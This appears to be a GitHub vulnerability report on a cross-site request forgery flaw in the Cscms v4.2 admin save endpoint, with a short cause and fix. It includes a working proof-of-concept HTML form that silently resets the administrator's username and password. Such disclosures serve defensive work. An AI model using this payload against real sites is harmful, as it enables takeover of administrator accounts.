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Cross-site request forgery vulnerability exists in Cscms music portal system v4.2 #37

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@Imbrave99

Description

details
In cscms v4.2 A problem was found in 1

Cross-site request forgery (CSRF) vulnerability in /Cscms_4.2/upload/admin.php/sys/save allow remote attackers to change
administrator's username and password.
Trigger condition: the administrator clicks a malicious link

Cause of vulnerability:
We can find that this script has no anti CSRF mechanism.

Exploit:
Login administrator click URL: http://ip/csrf.html
csrf. html:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.136.136/Cscms_4.2/upload/admin.php/sys/save" method="POST">
      <input type="hidden" name="adminname" value="admin" />
      <input type="hidden" name="adminpass" value="123" />#The password you want to change here is 123
      <input type="hidden" name="sid" value="1" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

/Cscms_4.2/upload/admin.php/sys/save
image

administrator click

image

success

image
The password has been successfully changed to 123
image

Repair method:
Join the random token check

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